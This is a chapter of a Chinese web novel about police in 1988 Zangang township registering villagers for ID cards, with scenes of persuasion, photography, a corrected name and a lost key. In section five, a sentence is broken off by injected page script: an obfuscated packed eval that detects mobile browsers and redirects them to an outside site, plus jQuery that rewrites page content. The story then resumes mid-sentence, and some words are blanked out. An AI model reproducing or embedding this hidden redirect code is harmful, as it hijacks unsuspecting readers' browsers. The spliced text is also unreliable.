第24章：方寸之间有乾坤——1988年昝岗乡身份证办理纪实


    【文章摘要】：1988年，昝岗乡派出所接到任务，要在三个月内完成一万六千多人的身份证采集工作。段旭等民警克服困难，深入乡村宣传身份证的重要性，并耐心解答村民的疑问。他们用老旧的设备拍照，认真核对信息，确保每个名字都准确无误。尽管过程中遇到了一些挑战，如村民的误解和设备的局限性，但民警们始终坚守岗位，真诚服务。最终，村民们对身份证的便利性表示认可，并主动前来办理。这段经历不仅体现了民警们的敬业精神，也展现了身份证对村民生活的重要意义。


    一、春风里的硬骨头


    1988年的春风，带着料峭寒意刮过昝岗乡的土路时，段旭正蹲在派出所门口的石阶上，用砂纸打磨那枚磨秃了的钢笔尖。办公桌上新到的文件还带着油墨味，最上面“三个月完成全乡一万六千三百二十八人身份证采集”的字样，像块浸了水的棉絮，沉甸甸压在他心头。


    “段哥，县局的通知下来了？”李振猛抱着一摞户籍档案闯进来，蓝布警服的袖口沾着泥点——刚从十里外的李村调解完宅基地纠纷回来。他把档案往桌上一放，腾出的手赶紧扶住被风吹得摇晃的煤油灯，“这风跟刀子似的，吹得人眼睛都睁不开。”


    段旭直起身，黑框眼镜滑到鼻尖，露出镜片后那双温和却执拗的眼睛。他捡起文件递给李振猛，指腹在“一万六千三百二十八”上反复摩挲：“你算算，每天得办多少？”


    李振猛扒拉着手指头：“三个月九十天，一天……差不多一百八十人？”他吐了吐舌头，“咱所就仨人，加上临时借调的小王，怕是得连轴转。”


    办公桌上，空白申请表堆成的小山摇摇欲坠，搪瓷缸里插着的钢笔笔尖都磨得发亮。墙上的手绘流程图被风吹得卷了边，图钉在土墙里陷得很深。段旭把窗户纸撕开的裂缝又糊了层报纸，回头时看见小王正对着相机发愁——那台老式海鸥相机是十年前配的，镜头蒙着层灰，闪光灯像只瞎了的眼睛，时灵时不灵。


    “发愁没用。”段旭摘下眼镜擦了擦，“下午跟我去赵村，先从最远的村开始。记住，咱不是来完成任务的，是来给老百姓铺路的。”


    李振猛咧嘴一笑，露出两排白牙：“得嘞，段哥！我这就去备车，那辆‘永久’自行车，我早上刚给链条上了油。”


    小王也赶紧把相机装进帆布包，包角磨得发白，是前任老民警传下来的。他捏了捏口袋里的胶卷，心里默念：可千万别出岔子。


    午后的风稍微缓了些，段旭骑着自行车，后座绑着宣传板和一摞登记表，李振猛和小王各骑一辆跟在后头。乡间土路坑坑洼洼，车轱辘碾过，扬起一阵黄土。路两旁的麦苗刚探出头，嫩得能掐出水来，几只麻雀落在田埂上，见人来便扑棱棱飞走了。


    “段哥，你说赵村人能信咱不？”小王蹬着车，额头上渗出汗珠，“我听我娘说，那边的老人都倔得很，不爱听新鲜事儿。”


    段旭头也不回：“倔，说明认死理，也说明重实在。咱把道理讲透了，让他们觉得这身份证对自个儿有用，自然就信了。”


    李振猛在一旁补充：“赵村的张大爷，去年因为宅基地的事儿跟邻居闹到所里，我去调解过。那老爷子，最讲究‘理’字，只要咱占理，他比谁都拥护。”


    说话间，远远望见赵村的老槐树，枝桠在风中伸展，像个守望的老人。村口的石碾子旁，已经有几个村民凑在一起，好奇地望着这几个穿警服的外来者。


    赵村的老槐树下，晨雾还未完全消散，炊烟袅袅升起。此时，段旭的宣传队被村民们围得水泄不通。他站在一块青石板上，正准备开始讲解，却被蹲在石碾子上的张大爷打断了。张大爷一边吧嗒着旱烟袋，一边疑惑地问：“办那玩意儿干啥？我活了六十五年，从昝岗乡到唐河县城就去过三回，要它有啥用？”


    周围的村民纷纷附和，李婶抱着胳膊，嗓门响亮地说：“听说办这证还得交五块钱？这不是给咱们老百姓增加负担吗？你们当警察的，不好好抓贼，净折腾这些没用的！”有人接着说：“就是，家里孩子多的，五块钱能买两斤肉呢！”还有村民疑惑：“我连自己名字都不会写，咋填表？”


    质疑声此起彼伏，如同初春的冰雹，让人心里感到沉重。小王紧张地攥着宣传单，偷偷观察段旭，却发现他脸上依然保持着微笑。等到大家的声音逐渐变小，段旭举起手中的宣传单，开始解释。


    “大伙儿瞧，这证上有照片、有名字、有住址，是国家给咱老百姓的‘合法身份证明’。”他的声音不高，却充满说服力，“张大爷，您去年去县城医院看病，是不是因为说不清籍贯，报销手续跑了三趟才办下来？”


    张大爷停下了吧嗒烟袋的手，眉头逐渐舒展：“是有这么回事……那医生非说我口音不对，不像昝岗乡的，让我回村里开证明，来回折腾了三天，差点耽误了换药。”


    “有了这证，一刷（当时虽无刷卡技术，但段旭用通俗说法）就知道您是咱昝岗乡赵村人，多方便。”段旭又转向李婶，“李婶，您家三小子不是在南阳打工吗？下次他回来，您让他试试——没身份证，火车都上不去。前阵子所里接到县局通知，火车站查得严，没这证，连候车室都不让进。”


    这话正说到李婶心坎里，她愣了愣，嘟囔道：“真这么管用？我家老三上次回来，说在车站被盘问了老半天，差点没赶上火车。”


    “比珍珠还真。”段旭从包里掏出登记表，“不会写字的，我们帮您填；拍照片要是不满意，咱们重拍，直到您舒心为止。现在就去村部办，第一个办的，我个人送他张塑封膜，能把证保护得妥妥的，防水防折。”


    人群里的议论声渐渐变了调，一个穿蓝布褂子的后生挤出来：“段警官，我在外头跑运输，这证是不是能证明我是谁？以前住店总被盘问，有了它是不是就不用麻烦了？”


    “没错！”段旭把宣传单递给他，“这证全国通用，走到哪儿都认。你去外地拉货，住旅馆、过检查站，掏出这证，人家一看就清楚，省多少口舌。”


    后生捧着宣传单，眼睛亮得像落了星星：“那我现在就能办不？”


    “能！”段旭朝村部的方向扬了扬下巴，“现在就去，第一个给您办！”


    后生名叫赵建军，常年在周边县市跑运输，最烦的就是住店时被反复盘问。他二话不说，跟着段旭就往村部走。有了第一个，就有第二个，李婶抱着孙子，犹豫了一下也跟了上去：“我先问问，我家老三在外地，能代办不？”


    张大爷在石碾子上磕了磕烟灰，也慢悠悠站起身：“我也去瞧瞧，看看这小卡片到底长啥样。”


    村部是间旧瓦房，墙上还贴着“农业学大寨”的标语。段旭和李振猛把两张八仙桌拼在一起，铺上带来的蓝布，就算是工作台了。小王在墙角支起相机，用一块红布当背景——这是他昨晚琢磨半宿想出来的，红色显眼，拍出来精神。


    赵建军是第一个，他紧张地坐在小马扎上，挺直腰板，对着镜头咧了咧嘴。小王按下快门，“咔嚓”一声，闪光灯亮得让人眯起眼。


    “好了，下一个！”段旭一边登记赵建军的信息，一边招呼着。


    李婶抱着孙子凑过来：“段警官，我家老三叫李国强，在南阳一家砖厂上班，能给他办不？”


    “能啊，您把他的户口本带来，我们登记上信息，照片等他回来补拍，或者您有他近期的照片也能先用着，回头再换。”段旭耐心解释。


    张大爷拄着拐杖，在一旁看着：“段警官，我老婆子眼瞎，常年不出门，也得办不？”


    “得办，张大爷。”段旭抬头笑了笑，“这身份证是每个人的‘身份凭证’，不管出不出门，都得有。万一将来有啥政策，比如领养老金啥的，没这证可不行。”


    张大爷点点头：“那我也办一个，给我老婆子也办一个。”


    那天的宣传，从清晨忙到日暮。段旭的嗓子哑了，嘴唇裂了口子，李振猛跑前跑后给大家倒水，腿都跑酸了，小王更是顶着烈日摆弄相机，后背的衣服湿了又干，干了又湿。可看着越来越多的村民走进村部登记，他们心里像揣了个暖炉。


    夕阳把村部的影子拉得老长，小王一边收拾相机，一边问：“段哥，你咋就知道这些话能说动他们？”


    段旭望着远处田埂上扛着锄头回家的村民，笑了笑：“咱得站在他们的日子里想事儿。他们怕的不是花钱，是花了钱没用；怕的不是麻烦，是麻烦了还办不成事。咱把好处说到他们心坎里，他们自然就愿意了。”


    李振猛蹲在地上，用树枝在泥土上画着圈：“明天去王村，听说那儿的王老五是个‘犟驴’，咱得提前想想法子。”


    段旭拍了拍他的肩膀：“再犟的人，也有顺毛的时候。只要咱真心为他好，他能感觉到。”


    三、灯下的笔与镜头


    信息采集的日子，是跟着鸡叫开始的。天刚蒙蒙亮，段旭他们就背着登记表、相机、墨水瓶往各村赶。村部的八仙桌拼在一起当工作台，村民排着队，手里攥着户口本，眼神里有期待也有忐忑。


    “王秀莲，女，1952年3月12日……”段旭念着，笔尖在纸上沙沙游走。他的字遒劲有力，每个字都像站得笔直的哨兵。小王在旁边帮忙核对，却总在细节上出错——把“峰”写成“锋”，把“莲”写成“连”，气得自己直挠头。


    “别急。”段旭把红笔递给他，“咱们搞个‘双人核对制’——你填完我查，我填完你审，就像给麦子挑杂粒，多过一遍手，错漏就少点。”他指着自己刚填的表，“你看这‘王秀莲’的‘莲’，我差点写成‘连’，多亏你刚才指出来了。”


    小王看着段旭镜片后温和的眼神，心里的焦躁散了大半：“成，我保证以后瞪大眼睛看！”


    比信息登记更难的是拍照。所里那台老式海鸥相机，镜头蒙着层灰，闪光灯时灵时不灵。为了拍张合格的照片，他们把各村的仓库、祠堂都借遍了——得找个光线好、背景干净的地方当临时摄影棚。


    “笑一笑，大爷，嘴角往上扬点。”小王举着相机，对着镜头里的张大爷喊。张大爷一辈子没拍过几次照，对着镜头浑身僵硬，嘴角扯得比哭还难看。


    “大爷，您就想您家麦子丰收的光景。”段旭在一旁逗他，“想想麦囤堆得比房高，您乐不乐？”


    张大爷被逗乐了，眼角的皱纹挤成了花，小王赶紧按下快门。可等照片洗出来，大家的心又沉了——设备太旧，照片泛着黄，张大爷的脸模糊得像蒙了层雾。


    “这咋整？”小王急得直跺脚，药水溅了一裤子。洗照片的暗房就在乡政府的储物间里，一股刺鼻的药水味，显影液、定影液都是按比例兑的，温度稍微不对，照片就废了。


    “重拍。”段旭拿起照片，“明天再去趟赵村，跟张大爷好好说，就说上次光线不好，得补拍一张。”


    第二天去补拍时，张大爷听说照片没拍好，摆摆手说：“算了算了，模糊点就模糊点，反正我也不常看。”


    “那可不行。”段旭蹲在他跟前，像对自家老人说话，“这身份证得用几十年呢，拍清楚了，您孙子将来看着也知道爷爷年轻时啥模样。再说，这是国家给您发的证，得漂漂亮亮的。”


    张大爷被说动了，乖乖跟着去了村部。这次小王把相机擦了又擦，闪光灯也提前试了十几次，还特意把窗户打开，让自然光透进来。拍出来的照片终于清晰了，张大爷捧着照片，咧着嘴看了又看：“嘿，这比我镜子里看着精神！段警官，你看我这胡子，是不是该刮刮？”


    “这样就挺好，透着股精气神。”段旭笑着说。


    最难的是给孩子们拍照。三四岁的娃娃，要么对着镜头哭，要么到处乱跑，根本抓不住。有回给李婶家的小孙子拍照，孩子看见黑黢黢的相机镜头，以为是啥怪物，哭得惊天动地，李婶哄了半天都没用。


    段旭灵机一动，从包里掏出颗水果糖，剥开糖纸递过去：“小朋友，拍完照这糖就给你，好不好？你看镜头里的叔叔，笑一个。”孩子盯着糖，哭声小了，小王趁机按下快门。等照片洗出来，孩子嘴里含着糖，嘴角还挂着泪珠，却笑得像朵花。李婶看着照片，抹着眼泪说：“这要是我家老三在南阳，能看着他侄子这模样，不定多高兴呢。”


    晚上回到办公室，煤油灯的光把三个人的影子投在墙上，像幅忙碌的剪影画。段旭核对登记表，李振猛整理照片袋，小王则在暗房里忙碌——红色的安全灯下，他的脸被映得通红，手指在显影液里轻轻搅动，看着相纸上的人影慢慢清晰，像在唤醒一个个沉睡的故事。


    “段哥，”小王揉着发酸的肩膀，从暗房里探出头，“咱这么拼，到底图啥？”


    段旭望着窗外的月光，月光透过玻璃的裂缝，在地上投下道细长的光带：“你看这光，哪怕就这么点，也能照亮块地方。咱们办的这身份证，对咱来说是工作，对老百姓来说，是日子里的光——以后他们出门办事，拿出这张证，少跑冤枉路，少受委屈，这不就是咱该干的？”


    李振猛在一旁点头：“可不是嘛，昨天王村的王大娘说，她儿子在广州打工，因为没证明，厂里不给发工资，急得直哭。等身份证办下来，寄过去，看谁还敢不认！”


    小王笑了笑，转身回了暗房。安全灯下，他看着相纸上渐渐清晰的笑脸，心里突然觉得，这刺鼻的药水味，也没那么难闻了。


    四、犟驴的红布包


    麻烦还是找上了门。那天下午，外号“犟驴”的王老五冲进临时□□点，把一张表格拍在桌上：“你们这是啥意思？把我名字写成‘王老五’，我户口本上明明是‘王正国’！”他脖子上的青筋突突跳，“我看你们就是糊弄事儿！”


    负责登记的是新来的实习生小林，吓得脸都白了，手忙脚乱地想解释，却一句话也说不出来。段旭赶紧走过去，拿起户口本和表格比对，确实是小林图省事，写了俗称。他立刻给王老五鞠了个躬：“叔，是我们工作不细致，这就给您重填，保证跟户口本一模一样。”


    王老五还在气头上：“重填？我耽误的功夫咋算？我从村西头跑过来，来回两里地，就为了这破表格？”


    “叔，您消消气。”段旭拿起笔，“您坐着歇会儿，我亲自给您填，填完再给您多印两张表格当草稿纸，成不？”他一边说，一边工工整整地写下“王正国”三个字，笔锋遒劲有力。


    王老五看着他认真的样子，气慢慢消了，却还是嘟囔：“我这名字可是我爹请先生起的，‘正国’，堂堂正正的国，不能瞎写。当年我爹说了，这名儿，是盼着国家好，咱老百姓才能好。”


    “是是是，”段旭点头应着，“这名字大气，必须写对。您放心，以后我们登记，一定严格按户口本上的来，一个字都不能错。”


    他填完表，又仔细核对了一遍，才递给王老五：“叔，您瞧瞧，对不对？”


    王老五接过表格，一个字一个字地瞅，确认没错，才哼了一声，转身要走。


    “叔，等等。”段旭叫住他，“这是给您的塑封膜，等身份证下来，您自己就能封上，结实。”


    王老五愣了愣，接过塑封膜，没说话，转身走了。


    小林红着眼圈说：“段哥，都怪我……”


    “不怪你。”段旭拍了拍他的肩膀，“咱面对的是几千号人，每个人都把自己的名字、生日看得比啥都重，这没错。以后啊，咱就把每个名字都当宝贝似的对待。”他拿起桌上的登记册，翻到其中一页：“你看，这上面的每个名字，都连着一个家，连着一家人的日子。咱得对这些名字负责。”


    小林重重地点头，拿起红笔，在自己的笔记本上写下“认真核对每一个字”。


    日子一天天过去，办公室的灯常常亮到后半夜。段旭的眼镜换了副新镜片，因为旧的那副被他熬红的眼睛盯出了裂纹；李振猛的自行车胎补了三次，车铃却依旧清脆；小王的指甲缝里永远带着洗不掉的药水痕迹，可他洗出来的照片，越来越清晰，连张大爷下巴上的皱纹都能看得一清二楚。


    有天傍晚，小林整理表格时突然发现，最早抵触□□的几个村民，都主动来补登信息了。“段哥，你看，张大爷带了他那耳聋的老伴来，说‘不能让她成黑户’；李婶家老三从南阳寄信来，让家里人帮他把证办了寄过去，还特意嘱咐要拍精神点……”


    段旭笑着点头，心里却突然一紧——放身份证的铁皮柜钥匙，不见了。


    那铁皮柜是前两天刚从乡政府借来的，专门用来存放已经制作好的身份证。第一批身份证刚送过来，足有三百多张，明天一早就要通知村民来领。这钥匙要是丢了，麻烦可就大了。


    五、月光下的钥匙


    那天傍晚，最后一批身份证送抵办公室时，夕阳正透过窗缝斜照进来，在地上投下道金光。三百多张身份证，整整齐齐码在铁皮柜里，像一摞摞沉甸甸的信任。段旭捧着那沓崭新的证件，指尖抚过塑封表面，冰凉的触感里透着股踏实——三个月，一千多个小时，终于要见到成果了。


    “段哥，咱们晚上加个餐吧？我请大家吃烩面！”小林举着空了的钢笔水囊，笑得露出两颗小虎牙。他刚来所里时还怯生生的，现在已经能独当一面了。


    段旭刚要应声，却见负责保管证件的老周慌慌张张跑进来，脸色白得像张纸：“段、段哥，不好了！放身份证的柜子钥匙……不见了！”


    这话像块石头砸进平静的湖面，办公室里瞬间鸦雀无声。小林刚扬起的嘴角僵在脸上，小王手里的药水瓶差点脱手——那柜子里是三百多户的期盼，丢了任何一张，都没法交代。


    “你再说一遍？”段旭的声音有些发紧，他放下证件，快步走到铁皮柜前。柜子是乡政府淘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926179|192731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    汰下来的旧物，锁芯早就不太灵，全靠那把黄铜钥匙才能打开。


    “我、我下午还打开过，把新到的证放进去……”老周的声音带着哭腔，手忙脚乱地翻着口袋，“后来整理桌子，可能……可能随手放哪儿了……”


    “别急，慢慢想。”段旭按住他的肩膀，指尖却在微微发颤，“最后一次用钥匙是啥时候？在哪儿用的？”


    老周拍着脑袋，急得直转圈：“下午三点多，我把东村的身份证放进去，当时……当时你让我拿东村的户籍档案核对，我就把钥匙放在档案册上了……对对，就在那本蓝色封皮的档案册上！”


    大家立刻动了起来。小林掀翻了桌上的文件堆，纸张“哗啦啦”散落一地；小王钻到桌子底下，连墙角的蜘蛛网都没放过；段旭则拿起那本蓝色封皮的档案册，一页页地翻看，连书脊都仔细摸了一遍。


    “没有……”小林直起身，额头上沾着灰，“会不会掉地上了？”


    大家又蹲下身，沿着地面一寸寸摸索。办公室的水泥地坑坑洼洼，藏个钥匙再容易不过。可从墙角摸到门口，指尖触到的只有灰尘和小石子。


    “要不……砸锁吧？”老周小声提议，声音里满是自责。


    “不行。”段旭立刻否决，“这柜子里是三百多户的身份证，砸锁动静太大，传出去村民该以为咱们办事不牢靠。再说，锁砸坏了，今晚这些证放哪儿？万一出点岔子，谁担得起？”


    天色渐渐暗了下来，窗外的风声又起，吹得窗纸“呜呜”作响。办公室里只开了盏昏黄的灯泡，把大家的影子拉得歪歪扭扭，气氛压抑得让人喘不过气。


    “都怪我……”老周蹲在地上，双手插进头发里，“要是我把钥匙串在腰上就好了……”


    “现在说这些没用。”段旭深吸一口气，强迫自己冷静下来。他想起下午核对档案时，曾把那本蓝色封皮的册子翻开，放在腿上看，会不会……钥匙掉进了册子的夹层里？


    “所有人，再仔细查查那本档案册！”段旭突然喊道，声音里带着抑制不住的激动。


    大家赶紧围过来，小林小心翼翼地捧着档案册，一页页地抖落。当翻到中间夹着的一张旧地契时，段旭眼睛一亮——地契的折痕很深，边缘有些磨损，他小心翼翼地翻开，手指在夹层里摸索——突然，指尖触到个冰凉坚硬的东西！


    “找到了！”段旭猛地抽出钥匙，黄铜钥匙在灯光下闪着光，还带着文件册的油墨味。


    办公室里瞬间爆发出欢呼声，小林激动得跳起来，差点撞到桌子；老周红着眼圈走过来，想说什么，却被段旭按住了肩膀：“没事了。下次把钥匙串在这上面。”他从口袋里掏出根红绳，那是上次去赵村宣传时，李婶塞给他的，说能“辟邪”，他一直没舍得用。


    老周接过红绳，把钥匙牢牢系上，又贴身揣进怀里，像是揣着块滚烫的烙铁。


    那天的烩面最终没吃成，可大家心里都热乎乎的。段旭看着铁皮柜上的锁，突然觉得，这把钥匙锁住的不只是身份证，还有老百姓的信任。


    六、红布包里的信任


    第二天一早，领身份证的村民又排起了长队。张大爷拄着拐杖站在队首，逢人就说：“俺这证拍得精神！比年轻时娶媳妇那会儿还俊！”李婶抱着小孙子，一边哄孩子一边念叨：“等你三叔收到证，在南阳干活也能踏实点。”


    当最后一张身份证交到村民手里时，段旭突然发现，队伍末尾站着个熟悉的身影——是王老五。


    “王大哥，您咋来了？”段旭笑着迎上去。他记得王老五的身份证是后天才到，特意留了言让他过两天来取。


    王老五从怀里掏出个红布包，一层层打开，露出里面的身份证——原来他昨天听邻居说可以领了，就特意跑了一趟，没想到真领到了。他脸上带着点不好意思：“俺来……俺来谢谢你们。昨天去县城赶集，用这证在供销社领了补贴，没多跑一步路。以前得托人捎话问，来回折腾好几天，现在揣着这卡片，啥都清楚了。”他挠挠头，“以前是俺糊涂，觉得你们折腾人……对不住了。”


    段旭看着他手里的红布包，红得像团火，心里暖烘烘的：“王大哥，您这是干啥？身份证能帮上忙，就是咱办这证的意义啊。”他接过身份证看了看，又递回去，“您看这照片，多精神，跟您这名字‘正国’一样，透着股堂堂正正的劲儿。”


    王老五嘿嘿笑起来，皱纹里都盛着光：“可不是嘛！俺家小子写信说，厂里登记信息，有身份证填起来快得很，不像以前，得托人开证明，来回得半个月。他还说，等俺这证办下来，让俺也去南阳逛逛，坐火车不用再让他提前打招呼了。”他把身份证小心翼翼地折进红布包，“这玩意儿，真是个好东西。”


    这时，张大爷拄着拐杖挪过来，举着身份证对着太阳照：“小段警官，你说这证真能管一辈子？”


    “能！”段旭的声音清亮，“等您老一百岁，拿着它去领养老金，照样管用。国家认这证，就像认咱老百姓一样。”


    “那敢情好！”张大爷乐得合不拢嘴，“到时候让俺重孙子看看，他爷爷年轻时啥样，告诉这小子，咱国家的证，能护着咱老百姓一辈子！”


    人群里爆发出一阵笑声，李婶抱着小孙子挤过来，孙子手里正攥着那张含着糖的照片，咿咿呀呀地喊“证证”。“段警官，俺家老三来信了，说收到证那天，特意请工友吃了顿饺子，说这证比介绍信管用十倍，走到哪儿都硬气。他还说，年底想带个对象回来，有证买车票方便。”


    “可不是嘛！”旁边一个跑运输的后生接话，“我上回在驻马店住店，掏出身份证，老板连押金都没要，说‘有这证在，啥都信得过’。以前住店得找保人，麻烦死了。”


    夕阳斜照在□□点的木桌上，把表格的影子拉得老长。小林正把最后一沓档案归档，钢笔在登记本上写下“一万六千三百二十八”，笔锋轻快——正好是全乡的□□人数。小王收拾着相机和药水，镜片反射着晚霞，像落了片金叶子。


    段旭望着眼前热闹的景象，突然觉得眼眶有点热。他想起三个月前，在赵村老槐树下被质疑的窘迫；想起深夜在暗房里，小王对着模糊的照片掉眼泪；想起小林为了一个错字，蹲在地上把十页表格重填一遍；想起自己戴着裂了缝的眼镜，在煤油灯下核对着密密麻麻的名字，眼皮沉得像挂了铅……


    “段哥，发啥愣呢？”李振猛拍了拍他的肩膀，“最后一把锁锁上，咱的任务就圆满结束啦。”


    段旭回过神，接过李振猛递来的锁，却没立刻锁上。他从抽屉里拿出那根红绳，把钥匙串好，挂在办公室的钉子上。“这钥匙啊，就留在这儿吧。”


    “留着啥用？”小林不解。


    “以后啊，”段旭望着窗外渐浓的暮色，远处的田野里，春麦已返青，像铺了层绿毯子，“老百姓说不定还有要补证、换证的，咱得随时等着。这活儿，不是结束，是刚开始。”


    小王突然“呀”了一声，从暗房里跑出来，手里举着张照片：“段哥，您看这张！”


    照片上，是□□点刚开张那天，段旭站在老槐树下，张大爷蹲在石碾上抽旱烟，李婶抱着孙子站在人群外，王老五背着手，一脸不忿地扭头看着别处。阳光透过槐树叶，在他们身上洒下星星点点的光，像撒了把碎金子。


    “这张咋没见过？”段旭接过来，指尖抚过照片边缘，有些微微的卷曲。


    “当时觉得拍虚了，没敢给您。”小王挠挠头，“刚才整理药水时找着的，觉得……挺有意义的。”


    段旭把照片平放在桌上，旁边是厚厚的登记册，再旁边，是那串挂在钉子上的红绳钥匙。风从窗缝钻进来，吹动桌上的纸角，发出沙沙的响，像在哼一首温柔的歌。


    “是挺有意义的。”他轻声说。


    夜幕降临时，办公室的灯又亮了。段旭在登记册的最后一页写下：“三月春至，证成于民。”笔尖落下时，窗外传来几声狗吠，混着远处村民归家的笑语，在昝岗乡的夜色里，温柔地漾开。


    后来，那间办公室的灯，常常亮到很晚。有人来补证，有人来咨询，段旭和同事们总是笑着接待。墙上的流程图换了新的，窗户的裂缝被新玻璃补上，可那串红绳钥匙，一直挂在钉子上，像个温暖的约定。


    多年后，昝岗乡通了公路，盖起了新的派出所。老办公室改成了档案室，那串钥匙还在，旁边摆着那张老照片。新来的年轻民警问起照片的故事，段旭总会指着照片上的王老五、张大爷、李婶，还有那个蹲在地上填表格的自己，慢慢说：“你看，这方寸大的身份证，装着的是老百姓的日子。咱当警察的，就是要把这日子，护得稳稳当当的。”


    阳光透过新窗户照进来，落在那串红绳钥匙上，闪着细碎的光，像撒了把星星。而远处的田埂上，又一批春麦破土而出，嫩得能掐出水来，在风里轻轻摇晃，像在应和着什么。